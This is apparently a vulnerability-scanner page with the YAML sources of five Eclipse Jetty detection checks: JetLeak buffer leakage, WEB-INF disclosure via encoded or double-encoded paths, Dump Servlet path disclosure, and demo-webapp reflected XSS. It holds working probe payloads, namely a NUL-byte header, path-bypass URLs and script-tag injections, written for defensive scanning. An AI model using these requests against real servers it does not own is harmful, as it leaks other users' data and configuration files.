Eclipse Jetty — 5 vulnerability checks

noctis ships 5 vulnerability checks for Eclipse Jetty, covering 8 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Eclipse Jetty Shared Buffers Information Leakage — JetLeak

CVECVE-2015-2080
Severityhigh · CVSS 7.5
Categoryexposure — Exposure
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 75
Feedtests/vulnerabilities/jetty/CVE-2015-2080.yaml

Eclipse Jetty 9.2.3 to 9.2.8 and the 9.3.0 betas put a debug dump of the shared request buffer into the reason phrase of the 400 response sent for an illegal header character. The dump includes bytes beyond the current request (up to the buffer's capacity), so any unauthenticated client can read fragments of other users' requests (session cookies, Authorization headers) from server memory. The feed sends a header holding a single 0x00 byte (read-only) and reports when the 400 reason carries the buffer dump with its past-the-limit region.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: POST / HTTP/1.1
  2. Checks jl.banner for ^HTTP/1\.[01] 400 Illegal character 0x0 in state=HEADER_VALUE in '[^\…
  3. Parses / computes the next value with a Rhai script
  4. Checks leak.hit for ^true$ → finding QoD 75: POST / with 'Referer: \x00' → 400 reason phrase carries Jetty's shared request-buffer dump (Illegal character 0x0 in state=HEADER_VALUE in …

References:

Feed source — tests/vulnerabilities/jetty/CVE-2015-2080.yaml
# Ported from OpenVAS/Greenbone NVT 2015/gb_jetty_shared_buffers_info_leak_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.805051, GPL-2.0-only). Same request as the NASL: POST / with
# `Referer: <0x00>` and `Content-Length: 0`, same 400 status and same
# "Illegal character 0x0 in state=HEADER_VALUE" marker.
#
# Differences from the NASL (detection improvements):
#  - the finding requires the leak itself, not only the error text: Jetty 9.2.3-9.2.8's
#    reason phrase ends with BufferUtil.toDebugString(buffer), `...<<<unparsed>>>stale`, and
#    the bytes after `>>>` are the pooled request buffer BETWEEN ITS LIMIT AND ITS CAPACITY,
#    i.e. memory left over from earlier requests (the JetLeak disclosure). The feed asserts
#    that this past-the-limit dump is present in the response;
#  - the request goes out verbatim over tcp_connect (an HTTP client would refuse or strip a
#    NUL header value), over TLS too when the service is https;
#  - the evidence reports only the size of the leaked dump, never its content: it can hold
#    other clients' Cookie / Authorization headers.
#
# Version boundaries checked against the jetty-http jars: 9.2.2 says "Illegal character",
# 9.2.3-9.2.8 and 9.3.0.M1 add "in state=%s in '%s'" (the buffer dump), 9.2.9+ says
# "Illegal character 0x0" and only logs the buffer. Real Jetty 9.2.9.v20150224 answers
# `HTTP/1.1 400 Illegal character 0x0` → clean.
uid: 88465e06-cdc9-4c66-b560-f2cef2e924a3
name: "Eclipse Jetty Shared Buffers Information Leakage — JetLeak (CVE-2015-2080)"
description: >-
  Eclipse Jetty 9.2.3 to 9.2.8 and the 9.3.0 betas put a debug dump of the shared request
  buffer into the reason phrase of the 400 response sent for an illegal header character.
  The dump includes bytes beyond the current request (up to the buffer's capacity), so
  any unauthenticated client can read fragments of other users' requests (session cookies,
  Authorization headers) from server memory. The feed sends a header holding a single
  0x00 byte (read-only) and reports when the 400 reason carries the buffer dump with its
  past-the-limit region.
cves: [CVE-2015-2080]
cvss: 7.5
severity: high
category: exposure
confidence_base: 0.35
tags: [jetty, jetleak, information-disclosure, memory-disclosure, java]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-2080"
  - "https://github.com/eclipse/jetty.project/blob/jetty-9.2.x/advisories/2015-02-24-httpparser-error-buffer-bleed.md"
  - "https://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html"

steps:
  # Pre-initialised so a refused connection (store_as left unset) can't abort the script.
  - id: init
    action: set_var
    var_name: jl
    var_value: {connected: false, banner: ""}

  - id: nul-referer
    action: tcp_connect
    port: "{{port}}"
    send: "POST / HTTP/1.1\r\nHost: {{target_host}}\r\nReferer: \0\r\nContent-Length: 0\r\n\r\n"
    timeout_secs: 10
    store_as: jl

  # No on_match: the stored {matched, captures} keeps the dump out of the finding. Lazy
  # quantifiers so stale bytes that happen to contain `>>>` don't shorten the capture.
  - id: dump
    action: match
    source: jl.banner
    pattern: "^HTTP/1\\.[01] 400 Illegal character 0x0 in state=HEADER_VALUE in '[^\\r\\n]*?<<<[^\\r\\n]*?>>>([^\\r\\n]*)"
    store_as: dump

  - id: verdict
    action: script
    store_as: leak
    code: |
      let res = #{ hit: false, len: 0 };
      if dump.matched && dump.captures.len() > 0 {
        let tail = dump.captures[0];
        // `'` closes the dump unless the 1024-char reason cap cut it off.
        if tail.ends_with("'") { tail = substr(tail, 0, strlen(tail) - 2); }
        if strlen(tail) > 0 { res.hit = true; res.len = strlen(tail); }
      }
      res

  - id: report
    action: match
    source: leak.hit
    pattern: "^true$"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "POST / with 'Referer: \\x00' → 400 reason phrase carries Jetty's shared request-buffer dump (Illegal character 0x0 in state=HEADER_VALUE in '…<<<…>>>…'): {{leak.len}} escaped chars of pooled-buffer memory past the request's end disclosed (content withheld — may hold other clients' cookies/headers)"

'/%2e/WEB-INF/' Information Disclosure (Jetty / Jira)

CVECVE-2020-29453, CVE-2021-28164, CVE-2021-34429
Severitymedium · CVSS 5.3
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, script, match · highest QoD 75
Feedtests/vulnerabilities/jetty/web-inf-dot-encoding-disclosure.yaml

Servlet containers must never serve /WEB-INF/ content. Eclipse Jetty 9.4.37-9.4.42 (CVE-2021-28164, CVE-2021-34429) and Atlassian Jira Server/DC (CVE-2020-29453) decode an encoded dot segment (`%2e`, `%u002e`, `.%00`) after the security check, so a request such as /%2e/WEB-INF/web.xml returns the deployment descriptor. The feed reads /WEB-INF/web.xml through each encoding (read-only) and reports only when the plain /WEB-INF/web.xml is NOT already readable, so the leak is attributable to the bypass.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET {{webinf_dir}}/WEB-INF/web.xml HTTP/1.0
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET {{webinf_dir}}/%2e/WEB-INF/web.xml HTTP/1.0
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET {{webinf_dir}}/%u002e/WEB-INF/web.xml HTTP/1.0
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET {{webinf_dir}}/.%00/WEB-INF/web.xml HTTP/1.0
  5. Parses / computes the next value with a Rhai script
  6. Checks webinf.hit for ^true$ → finding QoD 75: WEB-INF/web.xml served via encoded dot segment …://…:…… (plain …/WEB-INF/web.xml not readable) — descriptor opening tag: …

References:

Feed source — tests/vulnerabilities/jetty/web-inf-dot-encoding-disclosure.yaml
# Ported from OpenVAS/Greenbone NVT 2021/gb_web-inf_dotencoding_info_disclosure.nasl
# (OID 1.3.6.1.4.1.25623.1.0.117480, GPL-2.0-only). Same requests and the same two
# line-anchored web.xml patterns (egrep, per line) as the NASL.
#
# Differences from the NASL (detection improvements):
#  - also probes Jira deployed under the common `/jira` context (`/jira/s/noctis/_`),
#    which the NASL only reaches if its crawler happens to find it;
#  - all requests go out verbatim over tcp_connect, so `%2e`, `%u002e` and `.%00` reach
#    the server undecoded (an HTTP client would normalise them away);
#  - the evidence carries only the matched opening tag, never the descriptor body.
uid: d20dbd6f-f538-4bf4-bf7c-88f6f636d576
name: "'/%2e/WEB-INF/' Information Disclosure (Jetty / Jira)"
description: >-
  Servlet containers must never serve /WEB-INF/ content. Eclipse Jetty 9.4.37-9.4.42
  (CVE-2021-28164, CVE-2021-34429) and Atlassian Jira Server/DC (CVE-2020-29453) decode
  an encoded dot segment (`%2e`, `%u002e`, `.%00`) after the security check, so a request
  such as /%2e/WEB-INF/web.xml returns the deployment descriptor. The feed reads
  /WEB-INF/web.xml through each encoding (read-only) and reports only when the plain
  /WEB-INF/web.xml is NOT already readable, so the leak is attributable to the bypass.
cves: [CVE-2020-29453, CVE-2021-28164, CVE-2021-34429]
cvss: 5.3
severity: medium
category: file-read
confidence_base: 0.35
tags: [path-traversal, information-disclosure, jetty, jira, atlassian, web-inf]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-29453"
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-28164"
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-34429"
  - "https://github.com/eclipse/jetty.project/security/advisories/GHSA-v7ff-8wcx-gmc5"
  - "https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm"
  - "https://jira.atlassian.com/browse/JRASERVER-72014"

steps:
  # One iteration per context directory: plain request + the three encoded variants,
  # then a verdict. Every stored result is pre-initialised so a refused connection
  # (store_as left unset) can't abort the script.
  - id: init-plain
    action: set_var
    var_name: plain
    var_value: {connected: false, banner: ""}
    loop:
      over: ["", "/context", "/s/noctis/_", "/jira/s/noctis/_"]
      var: webinf_dir

  - id: init-enc1
    action: set_var
    var_name: enc1
    var_value: {connected: false, banner: ""}

  - id: init-enc2
    action: set_var
    var_name: enc2
    var_value: {connected: false, banner: ""}

  - id: init-enc3
    action: set_var
    var_name: enc3
    var_value: {connected: false, banner: ""}

  - id: plain-webxml
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{webinf_dir}}/WEB-INF/web.xml HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: plain

  - id: enc-pct2e
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{webinf_dir}}/%2e/WEB-INF/web.xml HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: enc1

  - id: enc-u002e
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{webinf_dir}}/%u002e/WEB-INF/web.xml HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: enc2

  - id: enc-dot-nul
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{webinf_dir}}/.%00/WEB-INF/web.xml HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: enc3

  - id: verdict
    action: script
    store_as: webinf
    code: |
      let base = "^\\s*<(web-app( .+|>$)|servlet(-mapping)?>$)";
      let extra = "^\\s*</(web-app|servlet(-mapping)?)>$";
      let res = #{ hit: false, url: "", tag: "" };
      let p = if type_of(plain.banner) == "string" { plain.banner } else { "" };
      // Plain /WEB-INF/web.xml already readable: a plain exposure, not this bypass.
      if egrep(base, p) != "" && egrep(extra, p) != "" { return res; }
      let tries = [
        [enc1.banner, "/%2e/WEB-INF/web.xml"],
        [enc2.banner, "/%u002e/WEB-INF/web.xml"],
        [enc3.banner, "/.%00/WEB-INF/web.xml"]
      ];
      for t in tries {
        let b = if type_of(t[0]) == "string" { t[0] } else { "" };
        let open = egrep(base, b);
        if open != "" && egrep(extra, b) != "" {
          res.hit = true;
          res.url = webinf_dir + t[1];
          res.tag = split(open, "\n")[0];
          break;
        }
      }
      res

  - id: report
    action: match
    source: webinf.hit
    pattern: "^true$"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "WEB-INF/web.xml served via encoded dot segment {{scheme}}://{{target_host}}:{{port}}{{webinf.url}} (plain {{webinf_dir}}/WEB-INF/web.xml not readable) — descriptor opening tag: {{webinf.tag}}"

Eclipse Jetty '/%2557EB-INF/' Information Disclosure (ConcatServlet / WelcomeFilter)

CVECVE-2021-28169
Severitymedium · CVSS 5.3
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, script, match · highest QoD 75
Feedtests/vulnerabilities/jetty/CVE-2021-28169.yaml

Servlet containers must never serve /WEB-INF/ content. Eclipse Jetty before 9.4.41, 10.0.3 and 11.0.3 (CVE-2021-28169): ConcatServlet and WelcomeFilter decode the request path a second time after the WEB-INF check, so a doubly-encoded `W` (`%2557`) in /concat?/%2557EB-INF/web.xml returns the web application's deployment descriptor. The feed reads /WEB-INF/web.xml through the double encoding (read-only) and reports only when the plain /WEB-INF/web.xml is NOT already readable on the same directory, so the leak is attributable to the bypass.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET {{webinf_dir}}/WEB-INF/web.xml HTTP/1.0
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET {{webinf_dir}}/%2557EB-INF/web.xml HTTP/1.0
  3. Parses / computes the next value with a Rhai script
  4. Checks webinf.hit for ^true$ → finding QoD 75: WEB-INF/web.xml served via double-encoded path …://…:…… (plain …/WEB-INF/web.xml not readable) — descriptor root/servlet tag found: …

References:

Feed source — tests/vulnerabilities/jetty/CVE-2021-28169.yaml
# Ported from OpenVAS/Greenbone NVT 2021/gb_web-inf_doubleencoding_info_disclosure.nasl
# (OID 1.3.6.1.4.1.25623.1.0.117476, GPL-2.0-only). Same directories ("", /concat?, /static?),
# same plain-/WEB-INF/web.xml exclusion and the same two line-anchored web.xml patterns
# (egrep, per line) as the NASL.
#
# Differences from the NASL (detection improvements):
#  - the request goes out verbatim over tcp_connect, so `%2557` reaches the server
#    undecoded (an HTTP client may normalise it to `%57`/`W` before sending);
#  - the plain-exposure exclusion is applied per directory, and a refused connection on one
#    directory never aborts the others (every stored result is pre-initialised);
#  - the evidence carries only the matched tag name (<web-app>, <servlet>…), never the descriptor body (which can
#    hold credentials in <init-param>/<context-param>).
uid: b407cdb5-861d-4386-b92f-31403750bf45
name: "Eclipse Jetty '/%2557EB-INF/' Information Disclosure (ConcatServlet / WelcomeFilter)"
description: >-
  Servlet containers must never serve /WEB-INF/ content. Eclipse Jetty before 9.4.41,
  10.0.3 and 11.0.3 (CVE-2021-28169): ConcatServlet and WelcomeFilter decode the request
  path a second time after the WEB-INF check, so a doubly-encoded `W` (`%2557`) in
  /concat?/%2557EB-INF/web.xml returns the web application's deployment descriptor.
  The feed reads /WEB-INF/web.xml through the double encoding (read-only) and reports only
  when the plain /WEB-INF/web.xml is NOT already readable on the same directory, so the
  leak is attributable to the bypass.
cves: [CVE-2021-28169]
cvss: 5.3
severity: medium
category: file-read
confidence_base: 0.35
tags: [path-traversal, information-disclosure, jetty, web-inf, double-encoding]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-28169"
  - "https://github.com/eclipse/jetty.project/security/advisories/GHSA-gwcr-j4wh-j3cq"

steps:
  # One iteration per directory: plain request, double-encoded request, verdict.
  # Stored results are pre-initialised so a refused connection (store_as left unset)
  # can't abort the script.
  - id: init-plain
    action: set_var
    var_name: plain
    var_value: {connected: false, banner: ""}
    loop:
      over: ["", "/concat?", "/static?"]
      var: webinf_dir

  - id: init-dbl
    action: set_var
    var_name: dbl
    var_value: {connected: false, banner: ""}

  - id: plain-webxml
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{webinf_dir}}/WEB-INF/web.xml HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: plain

  - id: double-encoded-webxml
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{webinf_dir}}/%2557EB-INF/web.xml HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: dbl

  - id: verdict
    action: script
    store_as: webinf
    code: |
      let base = "^\\s*<(web-app( .+|>$)|servlet(-mapping)?>$)";
      let extra = "^\\s*</(web-app|servlet(-mapping)?)>$";
      let res = #{ hit: false, url: "", tag: "" };
      let p = if type_of(plain.banner) == "string" { plain.banner } else { "" };
      // Plain /WEB-INF/web.xml already readable: a plain exposure, not this bypass.
      if egrep(base, p) != "" && egrep(extra, p) != "" { return res; }
      let b = if type_of(dbl.banner) == "string" { dbl.banner } else { "" };
      let open = egrep(base, b);
      if open != "" && egrep(extra, b) != "" {
        res.hit = true;
        res.url = webinf_dir + "/%2557EB-INF/web.xml";
        // Only the tag name goes to the evidence: the matched line may run on into the
        // descriptor body (e.g. a single-line <web-app ...><context-param>...).
        let m = eregmatch("^\\s*<(web-app|servlet(-mapping)?)", open);
        res.tag = if m.len() > 1 { "<" + m[1] + ">" } else { "web.xml" };
      }
      res

  - id: report
    action: match
    source: webinf.hit
    pattern: "^true$"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "WEB-INF/web.xml served via double-encoded path {{scheme}}://{{target_host}}:{{port}}{{webinf.url}} (plain {{webinf_dir}}/WEB-INF/web.xml not readable) — descriptor root/servlet tag found: {{webinf.tag}}"

Jetty demo webapp Dump Servlet information disclosure

CVECVE-2009-4609
Severitymedium · CVSS 5.0
Categoryexposure — Exposure
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/jetty/CVE-2009-4609.yaml

The demo webapp bundled with Mort Bay Jetty 6.x and 7.0.0 deploys a Dump Servlet under /dump/ that describes every request it receives, including the absolute filesystem path of the webapp (getPathTranslated). The feed requests /dump/ (also under a /test context) with a random marker in the path and query string, and reports when the reply is the servlet's request table that echoes the marker as the query string and shows an absolute filesystem path as the translated path.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{ctx}}/dump/{{tok}}?{{tok}}
  3. Parses / computes the next value with a Rhai script
  4. Checks translated for ^(?:/|[A-Za-z]:\\).+ → finding QoD 75: Jetty demo webapp Dump Servlet discloses the server filesystem path (CVE-2009-4609)

References:

Feed source — tests/vulnerabilities/jetty/CVE-2009-4609.yaml
# Mort Bay Jetty demo webapp Dump Servlet information disclosure — CVE-2009-4609
#
# The demo ("test") webapp shipped with Jetty 6.x and 7.0.0 maps the Dump Servlet
# (com.acme.Dump) to /dump/*. It answers any request with a table describing it,
# including the row
#     <th align="right">getPathTranslated:&nbsp;</th><td>/opt/jetty/webapps/test/x</td>
# — the absolute filesystem path of the webapp — and the raw query string
#     <th align="right">getQueryString:&nbsp;</th><td>...</td>
# (row format read from test-jetty-webapp/src/main/java/com/acme/Dump.java at
# jetty-7.0.0.v20091005 and 7.0.1; Jetty never "fixed" the servlet, the vendor
# advice is to remove the demo webapp).
#
# Detection, per context ("" and "/test"): GET {ctx}/dump/<marker>?<marker> with a
# random marker. Reported (QoD 75) only when the reply holds the Dump table with our
# marker as the getQueryString cell (so a live Dump Servlet answered this request, not
# a static page or a URL reflector) AND an absolute path (/… or X:\…) as the
# getPathTranslated cell. Read-only.
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_mort_bay_jetty_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.800286, GPL-2.0-only), /dump/ branch. Differences
# (detection improvements): the NASL needs "jetty" somewhere after the path start, so
# it misses any install whose path does not say jetty (/srv/www/test/…); it only
# probes /dump/; and it matches a single line, which a page echoing the request
# (honeypot) can satisfy. The XSS branches of that NVT are covered by
# jetty-test-webapp-xss.yaml.
uid: 7a53f3ec-631b-44ea-b0c6-34e04a0eaaa0
name: "Jetty demo webapp Dump Servlet information disclosure"
description: >-
  The demo webapp bundled with Mort Bay Jetty 6.x and 7.0.0 deploys a Dump Servlet
  under /dump/ that describes every request it receives, including the absolute
  filesystem path of the webapp (getPathTranslated). The feed requests /dump/ (also
  under a /test context) with a random marker in the path and query string, and
  reports when the reply is the servlet's request table that echoes the marker as the
  query string and shows an absolute filesystem path as the translated path.
category: exposure
cves: [CVE-2009-4609]
cvss: 5.0
severity: medium
confidence_base: 0.30
tags: [jetty, mortbay, information-disclosure, demo-webapp, dump-servlet]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4609"
  - "https://www.securityfocus.com/archive/1/508830"
  - "https://github.com/jetty/jetty.project/blob/jetty-7.0.0.v20091005/test-jetty-webapp/src/main/java/com/acme/Dump.java"

steps:
  - id: marker
    action: script
    code: |
      "noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4)
    store_as: tok

  # ── Loop group: the following steps run once per context.
  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {status: 0, body: ""}
    loop:
      var: ctx
      over: ["", "/test"]

  - id: probe-dump
    action: http_request
    method: GET
    path: "{{ctx}}/dump/{{tok}}?{{tok}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: probe

  # The translated path, only from a real Dump table answering this request: our
  # marker alone in the getQueryString cell and an absolute path in getPathTranslated.
  - id: disclosed
    action: script
    code: |
      let out = "";
      let b = if probe.status == 200 && type_of(probe.body) == "string" { probe.body } else { "" };
      if ereg("<th[^>]*>getQueryString:(?:&nbsp;)?\\s*</th>\\s*<td>" + tok + "</td>", b) {
        let m = eregmatch("<th[^>]*>getPathTranslated:(?:&nbsp;)?\\s*</th>\\s*<td>((?:/|[A-Za-z]:\\\\)[^<]*)</td>", b);
        if type_of(m) == "array" && m.len() > 1 { out = m[1]; }
      }
      out
    store_as: translated

  - id: report
    action: match
    source: translated
    pattern: '^(?:/|[A-Za-z]:\\).+'
    on_match:
      finding:
        title: "Jetty demo webapp Dump Servlet discloses the server filesystem path (CVE-2009-4609)"
        description: "The Jetty demo webapp's Dump Servlet is deployed and answered a request carrying this scan's marker with its request table, echoing the marker as the query string and disclosing the absolute filesystem path of the webapp (getPathTranslated). The same servlet also discloses request headers, attributes and server details to anyone, which helps an attacker plan further attacks."
        remediation: "Remove the demo (test) webapp and its contexts from production Jetty servers (webapps/test, contexts/test.xml) and upgrade to a supported Jetty release."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{ctx}}/dump/<marker>?<marker> returned HTTP 200 with the Dump Servlet table echoing the marker; getPathTranslated: {{translated}}"
      stop: true

Jetty demo webapp reflected cross-site scripting (JSP Dump, JSP Snoop, JSP expressions)

CVECVE-2009-4610, CVE-2009-4612
Severitymedium · CVSS 4.3
Categoryxss — XSS
Serviceshttp, https
Detectionscript, http_request, set_var, match · highest QoD 75
Feedtests/vulnerabilities/jetty/jetty-test-webapp-xss.yaml

The demo webapp bundled with Mort Bay Jetty 6.0.0 to 6.1.21 and 7.0.0 echoes request input without HTML-escaping on its JSP Dump page (parameter names and values), its JSP Snoop page (the path after /jspsnoop/) and its JSP 2.0 expressions page (the A parameter). The feed sends a script element carrying a random marker to each page and reports every page whose reply contains the element unescaped next to that page's heading. A control request to a page that cannot exist must not echo the element, so a server that reflects any URL is not reported.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET /{{tok}}/%3Cscript%3Ealert(/{{tok}}/)%3C/script%3E.jsp?%3Cscript%3Ealert(/{{tok}}/)%3…
  4. Parses / computes the next value with a Rhai script
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{cur.url}}
  7. Parses / computes the next value with a Rhai script
  8. Checks xss_proof for ^<script>alert\(/noctis[0-9a-f]{12}/\)</script>$ → finding QoD 75: Jetty demo webapp JSP Snoop page reflected XSS (CVE-2009-4612)
  9. Checks xss_proof for ^<script>alert\(/noctis[0-9a-f]{12}/\)</script>$ → finding QoD 75: Jetty demo webapp JSP Dump page reflected XSS (CVE-2009-4610)
  10. Checks xss_proof for ^<script>alert\(/noctis[0-9a-f]{12}/\)</script>$ → finding QoD 75: Jetty demo webapp JSP2.0 Expressions page reflected XSS

References:

Feed source — tests/vulnerabilities/jetty/jetty-test-webapp-xss.yaml
# Mort Bay Jetty demo webapp reflected XSS — CVE-2009-4610, CVE-2009-4612
#
# The demo ("test") webapp shipped with Jetty 6.0.0-6.1.21 and 7.0.0 prints request
# input without HTML-escaping on several pages:
#   - jsp/dump.jsp ("JSP Dump"): every parameter name and value, as
#       <th>getParameter("NAME")</th> <td>VALUE</td>              — CVE-2009-4610 (1)
#     (the page is still the same in the Jetty 7.6 test webapp — jsp/dump.jsp at
#     jetty-7.6.0.v20120127)
#   - jspsnoop/… ("WebApp JSP Snoop page"): the PATH_INFO, also under jspsnoop/ERROR/
#                                                                    — CVE-2009-4612
#   - jsp/expr.jsp ("JSP2.0 Expressions"): ${param["A"]} printed raw (no CVE names the
#     XSS on this page; CVE-2009-4611 covers its unsanitised A parameter in logs).
#
# Detection: with a random marker M, each page is requested with the element
# <script>alert(/M/)</script> percent-encoded in the vulnerable input. A page is
# reported (QoD 75) when its reply (any status) holds the element unescaped in a text node (only
# text between the previous ">" and the element) next to the page's own heading
# ("JSP Dump", "JSP2.0 Expressions", "Snoop"). A control request first sends the same
# element to a random page that cannot exist: a server reflecting it there echoes any
# URL (honeypot / catch-all), so nothing is reported for it. Read-only, no state change.
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_mort_bay_jetty_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.800286, GPL-2.0-only), XSS branches: same four URLs
# (/jspsnoop/ERROR/, /jsp/dump.jsp?, /test/jsp/dump.jsp?, /jsp/expr.jsp?A=) and the same
# script element. Differences (detection improvements): random marker instead of a
# fixed string, a page heading and text-node context are required, the catch-all control
# rejects URL reflectors, every vulnerable page is reported (not only the first), and
# each finding names the CVE of its own page. The /dump/ branch of that NVT is
# CVE-2009-4609.yaml. Not covered: the Session Dump Servlet Name/Value XSS of
# CVE-2009-4610 (it needs a session attribute to be stored first).
uid: b29086e1-3aa2-4d4f-9d23-7d127f5236ab
name: "Jetty demo webapp reflected cross-site scripting (JSP Dump, JSP Snoop, JSP expressions)"
description: >-
  The demo webapp bundled with Mort Bay Jetty 6.0.0 to 6.1.21 and 7.0.0 echoes request
  input without HTML-escaping on its JSP Dump page (parameter names and values), its
  JSP Snoop page (the path after /jspsnoop/) and its JSP 2.0 expressions page (the A
  parameter). The feed sends a script element carrying a random marker to each page
  and reports every page whose reply contains the element unescaped next to that
  page's heading. A control request to a page that cannot exist must not echo the
  element, so a server that reflects any URL is not reported.
category: xss
cves: [CVE-2009-4610, CVE-2009-4612]
cvss: 4.3
severity: medium
confidence_base: 0.30
tags: [jetty, mortbay, xss, demo-webapp]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4610"
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4612"
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4611"
  - "https://www.securityfocus.com/archive/1/508830"
  - "https://github.com/jetty/jetty.project/blob/jetty-7.6.0.v20120127/test-jetty-webapp/src/main/webapp/jsp/dump.jsp"

steps:
  - id: marker
    action: script
    code: |
      "noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4)
    store_as: tok

  - id: init
    action: script
    code: |
      #{ status: 0, body: "" }
    store_as: control

  # Control: the same element, in the path and the query, on a page that cannot exist.
  - id: probe-control
    action: http_request
    method: GET
    path: "/{{tok}}/%3Cscript%3Ealert(/{{tok}}/)%3C/script%3E.jsp?%3Cscript%3Ealert(/{{tok}}/)%3C/script%3E=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: control

  - id: reflects-anything
    action: script
    code: |
      let b = if type_of(control.body) == "string" { control.body } else { "" };
      b.contains("<script>alert(/" + tok + "/)</script>")
    store_as: reflector

  # ── Loop group: one iteration per page; the following steps run for each.
  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {status: 0, body: ""}
    loop:
      var: page
      over: ["/jspsnoop/ERROR/", "/jsp/dump.jsp?", "/test/jsp/dump.jsp?", "/jsp/expr.jsp?A="]

  # URL, expected page heading and CVE of this page.
  - id: page-info
    action: script
    code: |
      let url = page + "%3Cscript%3Ealert(/" + tok + "/)%3C/script%3E";
      if page.contains("jspsnoop") {
        #{ url: url, heading: "Snoop", cve: "CVE-2009-4612" }
      } else if page.contains("dump.jsp") {
        #{ url: url, heading: "JSP Dump", cve: "CVE-2009-4610" }
      } else {
        #{ url: url, heading: "JSP2.0 Expressions", cve: "" }
      }
    store_as: cur

  - id: probe-page
    action: http_request
    method: GET
    path: "{{cur.url}}"
    port: "{{port}}"
    condition: "reflector == false"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: probe

  # The element, only when this page (its own heading present) printed it unescaped
  # in a text node, and the catch-all control did not echo it.
  - id: reflection
    action: script
    code: |
      let out = "";
      // Any status: the snoop page under jspsnoop/ERROR/ may answer with an error code.
      let b = if probe.status >= 200 && type_of(probe.body) == "string" { probe.body } else { "" };
      if reflector == false && b.contains(cur.heading)
         && ereg(">[^<>]*<script>alert\\(/" + tok + "/\\)</script>", b) {
        out = "<script>alert(/" + tok + "/)</script>";
      }
      out
    store_as: xss_proof

  - id: report-snoop
    action: match
    source: xss_proof
    condition: "cur.cve == \"CVE-2009-4612\""
    pattern: '^<script>alert\(/noctis[0-9a-f]{12}/\)</script>$'
    on_match:
      finding:
        title: "Jetty demo webapp JSP Snoop page reflected XSS (CVE-2009-4612)"
        description: "A request to the Jetty demo webapp's /jspsnoop/ERROR/ page with a script element in the path was answered with the JSP Snoop page holding the element unescaped in the page text, so the script runs in the browser of anyone who follows such a link. An attacker can use it to run script in the context of the Jetty site, for example to steal session cookies of applications on the same host."
        remediation: "Remove the demo (test) webapp and its contexts from production Jetty servers (webapps/test, contexts/test.xml). Jetty 6.1.22 escapes this page, but the demo webapp must never be exposed."
        cves: [CVE-2009-4612]
        confidence_delta: 0.55
        qod: 75
        evidence: "GET /jspsnoop/ERROR/<element> returned HTTP 200 with the JSP Snoop page containing the injected element unescaped: {{xss_proof}}"

  - id: report-dump
    action: match
    source: xss_proof
    condition: "cur.cve == \"CVE-2009-4610\""
